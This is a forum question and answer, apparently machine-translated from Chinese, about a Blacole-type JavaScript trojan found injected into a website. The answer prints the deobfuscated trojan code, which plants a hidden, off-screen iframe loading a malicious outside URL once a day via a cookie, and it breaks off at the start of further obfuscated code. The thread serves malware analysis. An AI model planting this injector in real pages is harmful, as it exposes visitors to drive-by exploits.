我最近出现了一个网站,在其
HTML标记内部嵌入了一个JS木马. McAfee名称为JS / Exploit-Blacole.em,F-Secure名称为Trojan：JS / Agent,MS名称为Trojan：JS / Quidvetis.A.
现在,出于好奇,我看了一下木马的源代码(仅供参考,我在pastebin上发了一个副本,看这里http://pastebin.com/PsLaE4d9). 令我惊讶的是迈克菲网站(http://home.mcafee.com/virusinfo/virusprofile.aspx?key=1317346#none,点击“病毒特征”标签)上的部分说明
特洛伊木马本身似乎在标记中注入了iframe标记并加载了一些恶意页面. 无论如何,我的问题是,那些XML评论标签会扮演什么角色？肯定有必要在McAfee文章中提及它们的原因吗？此外,是否有可能以某种方式去混淆JS代码并将其转换为人类可读的东西？再一次,这只是出于好奇.我只是想知道这里发生了什么.
看看这里

var static = 'ajax';
var controller = 'index.php';
var r = document.createElement('iframe');
r.src = 'http://ecurie80.hostzi.com/Felenne12/clik.php';
r.style.position = 'absolute';
r.style.color = '6675';
r.style.height = '6675px';
r.style.width = '6675px';
r.style.left = '10006675';
r.style.top = '10006675';
if (!document.getElementById('r')){
document.write('<p id='r' class='r09' ></p>');
document.getElementById('r').appendChild(r);
}
}
function SetCookie(cookieName,cookieValue,nDays,path){
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0,name.length))){
return null;
}
if (start == - 1)return null;
var end = document.cookie.indexOf(";",len);
if (end == - 1)end = document.cookie.length;
return unescape(document.cookie.substring(len,end));
}
if (navigator.cookieEnabled){
if (GetCookie('visited_uq') == 55){
}
else {
SetCookie('visited_uq','55','1','/');
r09();
}
}
此代码创建一个iframe并将其推出视图 代码只使用cookie每天运行一次 http://jsunpack.jeek.org/也是许多安全研究人员使用的很棒的工具(比如Brian Krebs？) Iframe加载Java漏洞并尝试运行它： var FPLYKJoQG = {
